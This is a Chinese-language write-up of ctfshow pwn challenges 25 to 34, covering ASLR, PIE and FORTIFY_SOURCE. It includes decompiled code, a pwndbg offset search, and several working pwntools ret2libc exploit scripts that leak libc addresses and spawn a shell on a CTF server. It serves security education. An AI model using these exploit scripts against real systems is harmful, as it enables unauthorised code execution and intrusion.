通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。
具体攻击手法为:ret2libc
即先找到栈溢出漏洞,通过write函数泄露 write 函数的真实地址,根据泄露的 write 函数地址,使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址,获取 system 函数和”/bin/sh” 字符串的地址。构造新的 payload,使用泄露的 system 函数和 “/bin/sh” 字符串的地址来进行get shell
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show', 28288)
#io = process('./../Challenge/ctfshow_pwn/pwn25')
elf = ELF('./../Challenge/ctfshow_pwn/pwn25')
offset = 0x88+0x4 # read_buf
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = cyclic(offset)+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload)
puts_addr = u32(io.recv()[0:4])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(offset)+p32(system)+cyclic(4)+p32(bin_sh)
io.sendline(payload)
io.interactive()
pwn26(ASLR)
ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位置,从而增加了利用软件漏洞进行攻击的难度。
开启不同等级会有不同的效果:
- 内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。
- 地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
- 随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发现这些偏移量,才能准确地定位和利用漏洞。
- 堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,使得攻击者无法轻易地覆盖返回地址或控制程序流程。
在Linux中,ALSR的全局配置/proc/sys/kernel/randomize_va_space有三种情况:
0表示关闭ALSR
1表示部分开启(将mmap的基址、stack和vdso页面随机化)
2表示完全开启
ALSR | Executable | PLT | Heap | Stack | Shared libraies |
---|---|---|---|---|---|
0 | × | × | × | × | × |
1 | × | × | × | √ | √ |
2 | × | × | √ | √ | √ |
2+PIE | √ | √ | √ | √ | √ |
直接运行
Here is your ASLR level:
2
If the result is 0, then you get the correct flag!
If not,you will get a fake flag!
flag is :ctfshow{0x400687_0x400560_0x1df12a0_0x7d97260e3680}
打开IDA看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *ptr; // ST00_8
void *v4; // ST08_8
void *v5; // ST00_8
ptr = malloc(4uLL);
v4 = dlopen("/lib/x86_64-linux-gnu/libc.so.6", 258);
puts(s);
puts(asc_4008F0);
puts(asc_400970);
puts(asc_400A00);
puts(asc_400A90);
puts(asc_400B18);
puts(asc_400BB0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Please confirm your ASLR level first ! ");
puts(" * ************************************* ");
puts("Here is your ASLR level:");
system("cat /proc/sys/kernel/randomize_va_space");
puts("If the result is 0, then you get the correct flag!");
puts("If not,you will get a fake flag!");
printf("flag is :ctfshow{%p", main, ptr);
printf("_%p", system);
printf("_%p", v5);
printf("_%p", v4);
puts("}");
free(v5);
return 0;
}
发现会打开/proc/sys/kernel/randomize_va_space
所以只需要把他值改为0即可 因为这里没有使用提供的虚拟机环境 所以flag不对
ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
pwn27
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *ptr; // ST00_8
void *v4; // ST08_8
void *v5; // ST00_8
ptr = malloc(4uLL);
v4 = dlopen("./libc-2.27.so", 258);
puts(s);
puts(asc_4008D0);
puts(asc_400950);
puts(asc_4009E0);
puts(asc_400A70);
puts(asc_400AF8);
puts(asc_400B90);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Please confirm your ASLR level first ! ");
puts(" * ************************************* ");
puts("Here is your ASLR level:");
system("cat /proc/sys/kernel/randomize_va_space");
puts("If the result is 0 or 1, then you get the correct flag!");
puts("If not,you will get a fake flag!");
printf("flag is :ctfshow{%p", main, ptr, v4);
printf("_%p", system);
printf("_%p", v5);
puts("}");
free(v5);
return 0;
}
改为0或1即可
ctfshow{0x400687_0x400560_0x603260}
pwn28
运行直接给flagctfshow{0x400687_0x400560}
pwn29(PIE)
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大
增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。
附件是64位elf,丢到IDA里,可以看到强制开启了ASLR的保护模式,之后用checksec命令输出附件的保护信息,最后直接给了flag的明文
pwn30
关闭PIE后 程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。
IDA 32位 部分RELRO开启
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
puts((const char *)&unk_8048710);
puts((const char *)&unk_8048784);
puts((const char *)&unk_8048800);
puts((const char *)&unk_804888C);
puts((const char *)&unk_804891C);
puts((const char *)&unk_80489A0);
puts((const char *)&unk_8048A34);
puts(" * ************************************* ");
puts((const char *)&unk_8048AF8);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No Canary found & No PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
跟进ctfshow
ssize_t ctfshow()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
from pwn import *
from LibcSearcher import *
# io = process('./../Challenge/ctfshow_pwn/pwn30')
io = remote("pwn.challenge.ctf.show", 28248)
elf = ELF('./../Challenge/ctfshow_pwn/pwn30')
offset = 0x88+0x4
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = cyclic(offset)+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload)
puts_addr = u32(io.recv()[0:4])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(offset)+p32(system)+cyclic(4)+p32(bin_sh)
io.sendline(payload)
io.interactive()
pwn31
开启 ASLR 和 PIE 的情况下,仍可能被利用
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
printf((const char *)&unk_850, main);
ctfshow(&argc);
puts((const char *)&unk_854);
puts((const char *)&unk_8C8);
puts((const char *)&unk_944);
puts((const char *)&unk_9D0);
puts((const char *)&unk_A60);
puts((const char *)&unk_AE4);
puts((const char *)&unk_B78);
puts(" * ************************************* ");
puts((const char *)&unk_C3C);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Bypass ALSR & PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
这个程序是给我们输出了个main函数的地址,这样就泄露了main函数的地址,我们就可以拿着它减去main函数的地址获得函数地址的偏移量了,然后拿着程序里的其他函数的地址加上这个偏移量就能拿到程序里函数在内存中的地址了。
先利用pwndbg
计算偏移量 cyclic 200
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/hsad/CTF/Challenge/ctfshow_pwn/pwn31
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x56555652
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x6261616b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
EAX 0xc9
EBX 0x62616169 ('iaab')
ECX 0xffffcf80 ◂— 0x61616161 ('aaaa')
EDX 0x100
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0
ESI 0xffffd0e4 —▸ 0xffffd2ce ◂— '/home/hsad/CTF/Challenge/ctfshow_pwn/pwn31'
EBP 0x6261616a ('jaab')
ESP 0xffffd010 ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
EIP 0x6261616b ('kaab')
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
Invalid address 0x6261616b
接着输入r命令运行程序,这时程序会让我们输入数据,我们就把我们之前的到的200个无用字符复制进去进行了。这时程序由于栈溢出就会爆出错误,程序会给出一个无效地址,就是因为这个地址是无效的,所以我们的程序才会报错,其实这个无效地址就是被我们覆盖的ctfshow函数的返回地址。
然后我们使用命令cyclic -l 0x6261616
,就可以知道这个地址的偏移量,我们也就获得了栈溢出的偏移量了。
pwndbg> cyclic -l 0x6261616b
Finding cyclic pattern of 4 bytes: b'kaab' (hex: 0x6b616162)
Found at offset 140
但是这里并不能直接覆盖140
的偏移量 因为在ctfshow()
最后有一个mov ebx,DWORD PTR [ebp-0x4]
pwndbg> disass ctfshow
Dump of assembler code for function ctfshow:
0x0000061d <+0>: push ebp
0x0000061e <+1>: mov ebp,esp
0x00000620 <+3>: push ebx
0x00000621 <+4>: sub esp,0x84
0x00000627 <+10>: call 0x7c7 <__x86.get_pc_thunk.ax>
0x0000062c <+15>: add eax,0x1994
0x00000631 <+20>: sub esp,0x4
0x00000634 <+23>: push 0x100
0x00000639 <+28>: lea edx,[ebp-0x88]
0x0000063f <+34>: push edx
0x00000640 <+35>: push 0x0
0x00000642 <+37>: mov ebx,eax
0x00000644 <+39>: call 0x470 <read@plt>
0x00000649 <+44>: add esp,0x10
0x0000064c <+47>: nop
0x0000064d <+48>: mov ebx,DWORD PTR [ebp-0x4]
0x00000650 <+51>: leave
0x00000651 <+52>: ret
End of assembler dump.
我们必须将这个ebx恢复而不能进行覆盖,而140的长度是包含ebp,所以我们132 + ebx的长度为132+4,距离140还差4个长度,我们需要再补充4个字符’a’
那么ebx是如何恢复?是通过__x86.get_pc_thunk.bx
这个东西得来的,这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。
那么我们直接通过readelf -S pwn31
拿这个pwn程序的GOT表地址
❯ readelf -S pwn31
There are 29 section headers, starting at offset 0x1888:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 00000154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 00000168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 00000188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 000001ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 000001cc 0001cc 0000e0 10 A 6 1 4
[ 6] .dynstr STRTAB 000002ac 0002ac 0000c2 00 A 0 0 1
[ 7] .gnu.version VERSYM 0000036e 00036e 00001c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000038c 00038c 000030 00 A 6 1 4
[ 9] .rel.dyn REL 000003bc 0003bc 000050 08 A 5 0 4
[10] .rel.plt REL 0000040c 00040c 000030 08 AI 5 22 4
[11] .init PROGBITS 0000043c 00043c 000023 00 AX 0 0 4
[12] .plt PROGBITS 00000460 000460 000070 04 AX 0 0 16
[13] .plt.got PROGBITS 000004d0 0004d0 000010 08 AX 0 0 8
[14] .text PROGBITS 000004e0 0004e0 000352 00 AX 0 0 16
[15] .fini PROGBITS 00000834 000834 000014 00 AX 0 0 4
[16] .rodata PROGBITS 00000848 000848 000501 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 00000d4c 000d4c 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 00000d90 000d90 000124 00 A 0 0 4
[19] .init_array INIT_ARRAY 00001ec0 000ec0 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 00001ec4 000ec4 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 00001ec8 000ec8 0000f8 08 WA 6 0 4
[22] .got PROGBITS 00001fc0 000fc0 000040 04 WA 0 0 4
[23] .data PROGBITS 00002000 001000 000008 00 WA 0 0 4
[24] .bss NOBITS 00002008 001008 000004 00 WA 0 0 1
[25] .comment PROGBITS 00000000 001008 000029 01 MS 0 0 1
[26] .symtab SYMTAB 00000000 001034 0004a0 10 27 43 4
[27] .strtab STRTAB 00000000 0014d4 0002b7 00 0 0 1
[28] .shstrtab STRTAB 00000000 00178b 0000fc 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), p (processor specific)
即ebx = libc_base + 0x001fc0
payload之后就是加上puts函数的地址+ctfshow函数的地址(这个地址是作为puts函数的返回地址的,等到puts函数执行完,泄露出puts的地址,会再次进入ctfshow函数,我们又可以继续利用溢出漏洞了),之后再加上puts函数的参数,即got表puts函数的地址。
之后流程就和之前一样了
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
io = process('./../Challenge/ctfshow_pwn/pwn31')
elf = ELF('./../Challenge/ctfshow_pwn/pwn31')
main_real = int(io.recv().strip(), 16)
print(hex(main_real))
base = main_real - elf.sym['main']
puts_plt = base + elf.sym['puts']
puts_got = base + elf.got['puts']
ebx = base + 0x001fc0
payload = cyclic(132)+p32(ebx)+cyclic(4)+p32(puts_plt)+p32(main_real)+p32(puts_got)
io.send(payload)
puts_addr = u32(io.recv()[0:4])
print(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(132)+p32(ebx)+cyclic(4)+p32(system)+cyclic(4)+p32(bin_sh)
io.send(payload)
io.interactive()
pwn32(FORTIFY_SOURCE 源码增强)
FORTIFY_SOURCE=0:
禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。
FORTIFY_SOURCE 是一个 C/C++ 编译器提供的安全保护机制,旨在防止缓冲区溢出和其他与字符串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码,用于增强程序对于缓冲区溢出和其他常见安全问题的防护
FORTIFY_SOURCE 提供了以下主要功能:
1.运行时长度检查:FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中,例如 strcpy 、 strcat 、 sprintf 等。这些代码会检查目标缓冲区的长度,以确保操作不会导致溢出。如果检测到溢出情况,程序会立即终止,从而防止潜在的漏洞利用。
2.缓冲区溢出检测:FORTIFY_SOURCE 还会将额外的保护机制添加到一些敏感的库函数中,例如memcpy 、 memmove 、 memset 等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠,并防止潜在的缓冲区溢出。
3.安全警告和错误报告:当 FORTIFY_SOURCE 检测到潜在的缓冲区溢出或其他安全问题时,它会生成相应的警告和错误报告。FORTIFY_SOURCE 提供了一层额外的安全保护,它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞。
默认Ubuntu16.04下是关闭的,测试发现Ubuntu18.04是开启的
gcc -D_FORTIFY_SOURCE=1 仅仅只在编译时进行检查(尤其是#include <string.h>这种文件头)
gcc -D_FORTIFY_SOURCE=2 程序执行时也会进行检查(如果检查到缓冲区溢出,就会终止程序)
FORTIFY_SOURCE(代码增强)
-D 1(开启缓冲区溢出攻击检查)
-D 2(开启缓冲区溢出以及格式化字符串攻击检查) ,通过数组大小来判断替换strcpy、memcpy、memset等函数名,来防止缓冲区溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
const char *v4; // rax
int v5; // eax
int num; // [rsp+4h] [rbp-44h]
char buf2[11]; // [rsp+Ah] [rbp-3Eh]
char buf1[11]; // [rsp+15h] [rbp-33h]
v3 = getegid();
setresgid(v3, v3, v3);
logo();
v4 = argv[1];
*(_QWORD *)buf1 = *(_QWORD *)v4;
*(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);
buf1[10] = v4[10];
strcpy(buf2, "CTFshowPWN");
printf("%s %s\n", buf1, buf2);
v5 = strtol(argv[3], 0LL, 10);
memcpy(buf1, argv[2], v5);
strcpy(buf2, argv[1]);
printf("%s %s\n", buf1, buf2);
fgets(buf1, 11, _bss_start);
printf(buf1, &num);
if ( argc > 4 )
((void (__fastcall *)(const char *))Undefined)(argv[4]);
return 0;
}
程序逻辑:
程序打印出logo的信息,然后然后将第一个参数argv[1]也就是我们启动程序输入的第一个参数(其实还有argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)赋给v4,并且没有长度限制。之后程序将v4[10]的数组内容赋给buf1[10]数组,再将CTFshowPWN通过strcpy函数赋给buf2,接着打印输出buf1和buf2。再然后通过strtol(argv[3], 0LL, 10)将我们启动程序传入的第三个参数转为10进制赋给v5,紧接着使用memcpy函数将argv2的v5个字符赋给buf1,v5是int型,数值就是上条语句的得来的;然后再通过strcpy函数argv[1]我们输入第一个参数赋给buf2,之后再打印输出buf1和buf2,最后读取_bss_start 11个字符给buf1,打印输出buf1和num的信息。最最后通过if判断argc是否大于4(默认情况下argc是等于1的,因为argv[0]必定存在,我们输入一个参数,argc就会等于2,依次递推),如果大于4,就会进入Undefined函数,Undefined函数的作用就是输出flag了。
因为本题目FORTIFY_SOURCE没有开启,代表我们启动函数直接输入4个参数(这时argc=5 > 4)就行了,而且这4个参数没有长度限制,如果开启FORTIFY_SOURCE就不好说了,因为开启了之后,由于程序存在strcpy和memcpy函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行。
pwn33
FORTIFY_SOURCE=1
仅仅只是在编译时检查,所以还是输入4个参数,得到flag
pwn34
FORTIFY_SOURCE=2:
启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。